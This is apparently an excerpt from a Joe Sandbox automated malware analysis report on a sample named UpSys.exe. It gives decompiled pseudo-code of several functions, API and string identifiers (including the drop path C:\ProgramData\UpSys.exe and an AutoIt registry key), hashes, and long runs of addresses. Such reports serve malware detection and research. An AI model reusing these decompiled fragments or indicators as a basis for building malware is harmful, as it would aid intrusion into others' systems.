                                                                                                                                                                                                        0x14000210c
                                                                                                                                                                                                        0x140002118
                                                                                                                                                                                                        0x140002124
                                                                                                                                                                                                        0x140002148
                                                                                                                                                                                                        0x14000214d
                                                                                                                                                                                                        0x140002154
                                                                                                                                                                                                        0x140002164
                                                                                                                                                                                                        0x140002166
                                                                                                                                                                                                        0x14000216b
                                                                                                                                                                                                        0x14000216c
                                                                                                                                                                                                        0x14000216d
                                                                                                                                                                                                        0x14000216e
                                                                                                                                                                                                        0x14000216f
                                                                                                                                                                                                        0x140002170
                                                                                                                                                                                                        0x140002180
                                                                                                                                                                                                        0x14000218f
                                                                                                                                                                                                        0x1400021a3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionFreestd::exception_ptr::_$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                                                                                                                        • String ID: close all
                                                                                                                                                                                                        • API String ID: 3059674453-3243417748
                                                                                                                                                                                                        • Opcode ID: 6b8f121204d437f650a19d507b8d50b2867b918c504527a1fcd4a464b0c4f1a1
                                                                                                                                                                                                        • Instruction ID: 01038a497b2fb3f062b74196383a6ad16f16c03f4338911a745b9e1fabdc64ee
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6b8f121204d437f650a19d507b8d50b2867b918c504527a1fcd4a464b0c4f1a1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 01A11832311A04C4EA56EF17D9913EE2364F788BC5F945062AB0E572B2DF36C9B6CB50
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140011D40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150windowtimeregistryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                                                                                                                                                        • String ID: TaskbarCreated
                                                                                                                                                                                                        • API String ID: 129472671-2362178303
                                                                                                                                                                                                        • Opcode ID: db8026cc8c78e66812d73ca7488a7c37be3cdee1d7cdc0faf3ce445b37e9d443
                                                                                                                                                                                                        • Instruction ID: 874a418bebf9b1ccb650bdc301d5f82fcd3ae9d76e330dfe1458554c65f8c2cc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: db8026cc8c78e66812d73ca7488a7c37be3cdee1d7cdc0faf3ce445b37e9d443
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7161A635208A4486FB3B9B23E8957E927A5B7DD7C5F840412FB4A4B6B2DB3AC5858300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140024850 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 70%
                                                                                                                                                                                                        			E00000001140024850(void* __ebx, signed int __ecx, void* __esi, signed int* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, signed int _a8, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				void* __r12;
				signed int _t26;
				void* _t33;
				void* _t52;
				signed int* _t56;
				signed int* _t57;
				long long _t63;
				signed long long _t66;
				signed long long _t74;

				_t72 = __r8;
				_t68 = __rbp;
				_t62 = __rdx;
				_t61 = __rcx;
				_t33 = __ebx;
				_a24 = __rbx;
				_a32 = __rsi;
				_a8 = __ecx;
				_t59 = __ecx;
				if (__ebx != 0xfffffffe) goto 0x4002488b;
				E0000000114001EB04(__ebx - 0xfffffffe, __rax);
				 *__rax = 0;
				E0000000114001EAE4(__ebx - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x40024954;
				if (__ebx < 0) goto 0x4002492b;
				_t52 = _t33 -  *0x400c88bc; // 0x20
				if (_t52 >= 0) goto 0x4002492b;
				_t74 = __ecx >> 5;
				_t66 = __ecx * 0x58;
				_t56 =  *((intOrPtr*)(0x400c88c0 + _t74 * 8));
				if (_t52 != 0) goto 0x400248f3;
				E0000000114001EB04(_t52, _t56);
				 *_t56 = 0;
				E0000000114001EAE4(_t52, _t56);
				 *_t56 = 9;
				_v40 = _t63;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t56, __ecx, __rcx, __rdx, _t66, __rbp, __r8);
				goto 0x40024954;
				E00000001140022130(_t33, _t33, _t59, _t63, _t66, _t74);
				_t57 =  *((intOrPtr*)(0x400c88c0 + _t74 * 8));
				_t53 =  *(_t57 + _t66 + 8) & 0x00000001;
				if (( *(_t57 + _t66 + 8) & 0x00000001) == 0) goto 0x40024912;
				_t26 = E00000001140024794(_t33, 0, 0,  *(_t57 + _t66 + 8) & 0x00000001, _t57, _t59, _t66, _t68, _t72); // executed
				goto 0x40024920;
				E0000000114001EAE4( *(_t57 + _t66 + 8) & 0x00000001, _t57);
				 *_t57 = 9;
				E000000011400221D8();
				goto 0x40024954;
				E0000000114001EB04( *(_t57 + _t66 + 8) & 0x00000001, _t57);
				 *_t57 = _t26 | 0xffffffff;
				E0000000114001EAE4(_t53, _t57);
				 *_t57 = 9;
				_v40 = _t63;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t57, _t59, _t61, _t62, _t66, _t68, _t72) | 0xffffffff;
			}














                                                                                                                                                                                                        0x140024850
                                                                                                                                                                                                        0x140024850
                                                                                                                                                                                                        0x140024850
                                                                                                                                                                                                        0x140024850
                                                                                                                                                                                                        0x140024850
                                                                                                                                                                                                        0x140024850
                                                                                                                                                                                                        0x140024855
                                                                                                                                                                                                        0x14002485a
                                                                                                                                                                                                        0x140024867
                                                                                                                                                                                                        0x14002486d
                                                                                                                                                                                                        0x14002486f
                                                                                                                                                                                                        0x140024876
                                                                                                                                                                                                        0x140024878
                                                                                                                                                                                                        0x14002487d
                                                                                                                                                                                                        0x140024886
                                                                                                                                                                                                        0x14002488f
                                                                                                                                                                                                        0x140024895
                                                                                                                                                                                                        0x14002489b
                                                                                                                                                                                                        0x1400248a7
                                                                                                                                                                                                        0x1400248b5
                                                                                                                                                                                                        0x1400248b9
                                                                                                                                                                                                        0x1400248c6
                                                                                                                                                                                                        0x1400248c8
                                                                                                                                                                                                        0x1400248cd
                                                                                                                                                                                                        0x1400248cf
                                                                                                                                                                                                        0x1400248d4
                                                                                                                                                                                                        0x1400248da
                                                                                                                                                                                                        0x1400248df
                                                                                                                                                                                                        0x1400248e2
                                                                                                                                                                                                        0x1400248e9
                                                                                                                                                                                                        0x1400248f1
                                                                                                                                                                                                        0x1400248f5
                                                                                                                                                                                                        0x1400248fb
                                                                                                                                                                                                        0x140024900
                                                                                                                                                                                                        0x140024905
                                                                                                                                                                                                        0x140024909
                                                                                                                                                                                                        0x140024910
                                                                                                                                                                                                        0x140024912
                                                                                                                                                                                                        0x140024917
                                                                                                                                                                                                        0x140024922
                                                                                                                                                                                                        0x140024929
                                                                                                                                                                                                        0x14002492b
                                                                                                                                                                                                        0x140024930
                                                                                                                                                                                                        0x140024932
                                                                                                                                                                                                        0x140024937
                                                                                                                                                                                                        0x14002493d
                                                                                                                                                                                                        0x140024942
                                                                                                                                                                                                        0x140024945
                                                                                                                                                                                                        0x140024967

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 921712934-3875041276
                                                                                                                                                                                                        • Opcode ID: 417b98a29523eb414aa100354f47c29bdec4c320460eb035393125846199663a
                                                                                                                                                                                                        • Instruction ID: 696b481e38d5a930d86cd4a9789da8344ccbad115b29540dbee6f02c195c9886
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 417b98a29523eb414aa100354f47c29bdec4c320460eb035393125846199663a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DE31E1326046C046F717AF37A8817EF3651BB887A0F954619FB650B6E2CF39C841C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140016240 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 140registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 57%
                                                                                                                                                                                                        			E00000001140016240(void* __rax, long long __rdx, long long _a24, char _a40, char _a568, char _a1096, char _a132736) {
				long _t27;
				void* _t41;
				void* _t42;
				signed long long _t53;
				long long _t56;
				void* _t57;
				void* _t63;
				void* _t64;
				void* _t65;

				E00000001140030CB0(0x20670, __rax, _t64, _t65);
				 *0x400c7f20 = 0x4009c1e0;
				 *0x400c7ef0 = 0;
				 *0x400c7ef1 = 0;
				 *0x400c7ef2 = 0;
				 *0x400c7ef3 = 0;
				 *0x400c7f40 = 0x4009c1e0;
				 *0x400c7ef8 = __rdx;
				 *0x400c7f00 = _t56;
				 *0x400c7f08 = _t56;
				 *0x400c7f10 = 0;
				 *0x400c7f18 = _t56;
				 *0x400c7f28 = _t56;
				 *0x400c7f30 = _t56;
				 *0x400c7f38 = _t56;
				 *0x400c7f48 = _t56;
				 *0x400c7f50 = _t56;
				 *0x400c7f58 = _t56;
				 *0x400c7f68 = 0;
				 *0x400c7f70 = _t56;
				 *0x400c7f78 = 0x66; // executed
				E00000001140016ED8(0x4009c1e0, _t42); // executed
				r8d = 0x104;
				 *0x400c7f60 = 0x4009c1e0;
				GetModuleFileNameW(??, ??, ??);
				r9d = 0;
				_a24 = _t56;
				E0000000114001823C(_t41,  &_a40,  &_a1096, _t57,  &_a568, _t63, _t64, _t65);
				r8d = 0x104;
				E000000011400182CC( &_a568, L"Include",  &_a568, _t64);
				_t53 =  &_a1096;
				r9d = 0;
				_a24 = _t56;
				E0000000114001830C(_t53,  &_a568, _t63);
				E00000001140016ED8(0x4009c1e0,  &_a40);
				 *((long long*)( *0x400c7f60 + _t53 * 8)) = 0x4009c1e0;
				 *0x400c7f68 =  *0x400c7f68 + 1;
				E00000001140016E4C( *((intOrPtr*)( *0x400c7f60 + _t53 * 8)),  &_a40);
				r9d = 0x20019;
				r8d = 0;
				_a24 =  &_a132736;
				_t27 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t27 == 0) goto 0x40031f10;
				return _t27;
			}












                                                                                                                                                                                                        0x140016247
                                                                                                                                                                                                        0x14001625d
                                                                                                                                                                                                        0x14001626b
                                                                                                                                                                                                        0x140016272
                                                                                                                                                                                                        0x140016279
                                                                                                                                                                                                        0x140016280
                                                                                                                                                                                                        0x140016287
                                                                                                                                                                                                        0x14001628e
                                                                                                                                                                                                        0x140016295
                                                                                                                                                                                                        0x14001629c
                                                                                                                                                                                                        0x1400162a3
                                                                                                                                                                                                        0x1400162a9
                                                                                                                                                                                                        0x1400162b0
                                                                                                                                                                                                        0x1400162b7
                                                                                                                                                                                                        0x1400162be
                                                                                                                                                                                                        0x1400162c5
                                                                                                                                                                                                        0x1400162cc
                                                                                                                                                                                                        0x1400162d3
                                                                                                                                                                                                        0x1400162da
                                                                                                                                                                                                        0x1400162e0
                                                                                                                                                                                                        0x1400162e7
                                                                                                                                                                                                        0x1400162f1
                                                                                                                                                                                                        0x1400162fb
                                                                                                                                                                                                        0x140016303
                                                                                                                                                                                                        0x14001630a
                                                                                                                                                                                                        0x140016325
                                                                                                                                                                                                        0x140016328
                                                                                                                                                                                                        0x14001632d
                                                                                                                                                                                                        0x140016341
                                                                                                                                                                                                        0x140016347
                                                                                                                                                                                                        0x140016354
                                                                                                                                                                                                        0x140016361
                                                                                                                                                                                                        0x140016364
                                                                                                                                                                                                        0x140016369
                                                                                                                                                                                                        0x140016373
                                                                                                                                                                                                        0x140016385
                                                                                                                                                                                                        0x14001639c
                                                                                                                                                                                                        0x1400163a7
                                                                                                                                                                                                        0x1400163bb
                                                                                                                                                                                                        0x1400163c1
                                                                                                                                                                                                        0x1400163cb
                                                                                                                                                                                                        0x1400163d0
                                                                                                                                                                                                        0x1400163d8
                                                                                                                                                                                                        0x1400163ed

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseFileModuleNameOpenQueryValue_wmakepathmalloc
                                                                                                                                                                                                        • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                                                                        • API String ID: 3387008970-2276155026
                                                                                                                                                                                                        • Opcode ID: 0e0b353f601fefd69fd712fd94d339c83149a6d231ee28fce4f0f28fdc9c5755
                                                                                                                                                                                                        • Instruction ID: 050f8711aada3cb5fce5e224b08e4cb7b3c5c039440d231270149f71ec02db4e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0e0b353f601fefd69fd712fd94d339c83149a6d231ee28fce4f0f28fdc9c5755
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BB813972118B8585E7268B16F880BDAB3A5FB8D3C4F40412AF78D47BB9DB79C556C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140017130 Relevance: 13.6, APIs: 9, Instructions: 98COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer$_initterm$ExitProcess_lock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2551688548-0
                                                                                                                                                                                                        • Opcode ID: ba54e494d6464cb40b7d5df2b28299073b0c4269d754a14259fd76f454c3c274
                                                                                                                                                                                                        • Instruction ID: 3ac3627346bc758b6abef7e0beaa462e2dd001c8a770163b196391ba713ae829
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ba54e494d6464cb40b7d5df2b28299073b0c4269d754a14259fd76f454c3c274
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C7416931216B4081EA57DF57E8407E972A5B78CBC4F540426FB8E4BBB6EF3AC4528B01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400242B8 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 215COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 68%
                                                                                                                                                                                                        			E000000011400242B8(intOrPtr* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rsi, long long __rbp, void* __r8, long long* __r9, long long _a8, char _a16, long long _a24, long long _a32) {
				long long _v56;
				signed int _t25;
				signed short _t29;
				void* _t35;
				intOrPtr _t36;
				signed int _t38;
				void* _t43;
				signed int _t59;
				void* _t70;
				void* _t75;
				signed short* _t99;
				signed short* _t100;
				signed short* _t101;
				signed short* _t102;
				signed short* _t104;
				signed short* _t105;
				signed short* _t106;
				signed short* _t107;
				signed short* _t109;
				void* _t133;
				long long _t134;

				_t131 = __r8;
				_t95 = __rax;
				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t59 =  *0x400b4e98; // 0x0
				r14d = 0;
				_t4 = _t134 + 0x20; // 0x20
				r15d = _t4;
				r12d = r8d;
				_t133 = __rcx;
				r9d = r14d;
				r10d = r14d;
				r11d = r14d;
				if ( *__rdx != r15w) goto 0x40024306;
				_t99 = __rdx + 2;
				if ( *_t99 == r15w) goto 0x400242fc;
				_t25 =  *_t99 & 0x0000ffff;
				r8d = 1;
				if (_t25 == 0x61) goto 0x40024353;
				if (_t25 == 0x72) goto 0x4002434b;
				if (_t25 == 0x77) goto 0x40024344;
				E0000000114001EAE4(_t25 - 0x77, __rax);
				r9d = 0;
				r8d = 0;
				_v56 = _t134;
				 *__rax = 0x16;
				E0000000114001EA14(__rax, _t99, __rcx, __rdx, __r9, __rbp, __r8);
				goto 0x40024594;
				goto 0x40024358;
				goto 0x4002435b;
				_t100 =  &(_t99[1]);
				_t29 =  *_t100 & 0x0000ffff;
				if (_t29 == r14w) goto 0x4002453e;
				if (r8d == r14d) goto 0x40024473;
				_t38 = _t29 & 0x0000ffff;
				_t70 = _t38 - 0x53;
				if (_t70 > 0) goto 0x400243fe;
				if (_t70 == 0) goto 0x400243f1;
				if (_t70 == 0) goto 0x40024462;
				if (_t70 == 0) goto 0x400243dc;
				if (_t70 == 0) goto 0x400243d7;
				if (_t70 == 0) goto 0x400243c5;
				_t43 = _t38 - r15d - 0xb - r8d - 0xe;
				if (_t70 == 0) goto 0x400243bc;
				if (_t43 != 4) goto 0x4002431e;
				if (r10d != r14d) goto 0x40024459;
				r10d = r8d;
				goto 0x40024462;
				asm("bts edi, 0x7");
				goto 0x40024462;
				if ((dil & 0x00000040) != 0) goto 0x40024459;
				goto 0x40024462;
				r11d = r8d;
				goto 0x40024459;
				if ((dil & 0x00000002) != 0) goto 0x40024459;
				asm("bts ebp, 0x7");
				goto 0x40024462;
				_t75 = r10d - r14d;
				if (_t75 != 0) goto 0x40024459;
				r10d = r8d;
				goto 0x40024462;
				if (_t75 == 0) goto 0x40024453;
				if (_t75 == 0) goto 0x40024445;
				if (_t75 == 0) goto 0x40024437;
				if (_t75 == 0) goto 0x40024429;
				if (_t43 - 0x46 - r8d - 0xb != 6) goto 0x4002431e;
				if (0 != 0) goto 0x40024459;
				asm("bts edi, 0xe");
				goto 0x40024462;
				if (r9d != r14d) goto 0x40024459;
				r9d = r8d;
				asm("btr ebp, 0xe");
				goto 0x40024462;
				if (r9d != r14d) goto 0x40024459;
				r9d = r8d;
				asm("bts ebp, 0xe");
				goto 0x40024462;
				if (0 != 0) goto 0x40024459;
				asm("bts edi, 0xf");
				goto 0x40024462;
				asm("bt edi, 0xc");
				if (0 >= 0) goto 0x4002445e;
				goto 0x40024462;
				asm("bts edi, 0xc");
				_t101 =  &(_t100[1]);
				if ( *_t101 != r14w) goto 0x4002436f;
				if (r11d == r14d) goto 0x4002453e;
				goto 0x40024482;
				_t102 =  &(_t101[1]);
				if ( *_t102 == r15w) goto 0x4002447e;
				r8d = 3;
				if (E000000011400178AC(_t131, __r9) != r14d) goto 0x4002431e;
				goto 0x400244b0;
				_t104 =  &(_t102[4]);
				if ( *_t104 == r15w) goto 0x400244ac;
				if ( *_t104 != 0x3d) goto 0x4002431e;
				_t105 =  &(_t104[1]);
				if ( *_t105 == r15w) goto 0x400244c0;
				r8d = 5;
				if (E00000001140017ACC(__rax, _t105, L"UTF-8", _t131) != r14d) goto 0x400244ee;
				_t106 =  &(_t105[5]);
				asm("bts edi, 0x12");
				goto 0x4002453e;
				r8d = 8;
				if (E00000001140017ACC(_t95, _t106, L"UTF-16LE", _t131) != r14d) goto 0x40024512;
				_t107 =  &(_t106[8]);
				asm("bts edi, 0x11");
				goto 0x4002453e;
				r8d = 7;
				if (E00000001140017ACC(_t95, _t107, L"UNICODE", _t131) != r14d) goto 0x4002431e;
				asm("bts edi, 0x10");
				goto 0x4002453e;
				_t109 =  &(_t107[8]);
				if ( *_t109 == r15w) goto 0x4002453a;
				if ( *_t109 != r14w) goto 0x4002431e;
				r9d = r12d;
				r8d = 0x15a | r15d;
				_v56 = 0x180;
				_t35 = E0000000114002D6D4( &_a16, _t133); // executed
				if (_t35 != r14d) goto 0x4002433d;
				 *0x400b4540 =  *0x400b4540 + 1;
				_t36 = _a16;
				 *(__r9 + 0x18) = (_t59 | r8d | 0x00000002) & 0xfffffffc;
				 *((intOrPtr*)(__r9 + 0x1c)) = _t36;
				 *(__r9 + 8) = r14d;
				 *__r9 = _t134;
				 *((long long*)(__r9 + 0x10)) = _t134;
				 *((long long*)(__r9 + 0x28)) = _t134;
				return _t36;
			}
























                                                                                                                                                                                                        0x1400242b8
                                                                                                                                                                                                        0x1400242b8
                                                                                                                                                                                                        0x1400242b8
                                                                                                                                                                                                        0x1400242bd
                                                                                                                                                                                                        0x1400242c2
                                                                                                                                                                                                        0x1400242d4
                                                                                                                                                                                                        0x1400242da
                                                                                                                                                                                                        0x1400242e0
                                                                                                                                                                                                        0x1400242e0
                                                                                                                                                                                                        0x1400242e4
                                                                                                                                                                                                        0x1400242ea
                                                                                                                                                                                                        0x1400242ed
                                                                                                                                                                                                        0x1400242f0
                                                                                                                                                                                                        0x1400242f3
                                                                                                                                                                                                        0x1400242fa
                                                                                                                                                                                                        0x1400242fc
                                                                                                                                                                                                        0x140024304
                                                                                                                                                                                                        0x140024306
                                                                                                                                                                                                        0x140024309
                                                                                                                                                                                                        0x140024312
                                                                                                                                                                                                        0x140024317
                                                                                                                                                                                                        0x14002431c
                                                                                                                                                                                                        0x14002431e
                                                                                                                                                                                                        0x140024323
                                                                                                                                                                                                        0x140024326
                                                                                                                                                                                                        0x14002432d
                                                                                                                                                                                                        0x140024332
                                                                                                                                                                                                        0x140024338
                                                                                                                                                                                                        0x14002433f
                                                                                                                                                                                                        0x140024349
                                                                                                                                                                                                        0x140024351
                                                                                                                                                                                                        0x14002435b
                                                                                                                                                                                                        0x140024362
                                                                                                                                                                                                        0x140024369
                                                                                                                                                                                                        0x140024372
                                                                                                                                                                                                        0x140024378
                                                                                                                                                                                                        0x14002437b
                                                                                                                                                                                                        0x14002437e
                                                                                                                                                                                                        0x140024380
                                                                                                                                                                                                        0x140024385
                                                                                                                                                                                                        0x14002438e
                                                                                                                                                                                                        0x140024393
                                                                                                                                                                                                        0x140024398
                                                                                                                                                                                                        0x14002439a
                                                                                                                                                                                                        0x14002439d
                                                                                                                                                                                                        0x1400243a2
                                                                                                                                                                                                        0x1400243ab
                                                                                                                                                                                                        0x1400243b1
                                                                                                                                                                                                        0x1400243b7
                                                                                                                                                                                                        0x1400243bc
                                                                                                                                                                                                        0x1400243c0
                                                                                                                                                                                                        0x1400243c9
                                                                                                                                                                                                        0x1400243d2
                                                                                                                                                                                                        0x1400243d7
                                                                                                                                                                                                        0x1400243da
                                                                                                                                                                                                        0x1400243e0
                                                                                                                                                                                                        0x1400243eb
                                                                                                                                                                                                        0x1400243ef
                                                                                                                                                                                                        0x1400243f1
                                                                                                                                                                                                        0x1400243f4
                                                                                                                                                                                                        0x1400243f6
                                                                                                                                                                                                        0x1400243fc
                                                                                                                                                                                                        0x140024401
                                                                                                                                                                                                        0x140024406
                                                                                                                                                                                                        0x14002440b
                                                                                                                                                                                                        0x140024410
                                                                                                                                                                                                        0x140024415
                                                                                                                                                                                                        0x140024421
                                                                                                                                                                                                        0x140024423
                                                                                                                                                                                                        0x140024427
                                                                                                                                                                                                        0x14002442c
                                                                                                                                                                                                        0x14002442e
                                                                                                                                                                                                        0x140024431
                                                                                                                                                                                                        0x140024435
                                                                                                                                                                                                        0x14002443a
                                                                                                                                                                                                        0x14002443c
                                                                                                                                                                                                        0x14002443f
                                                                                                                                                                                                        0x140024443
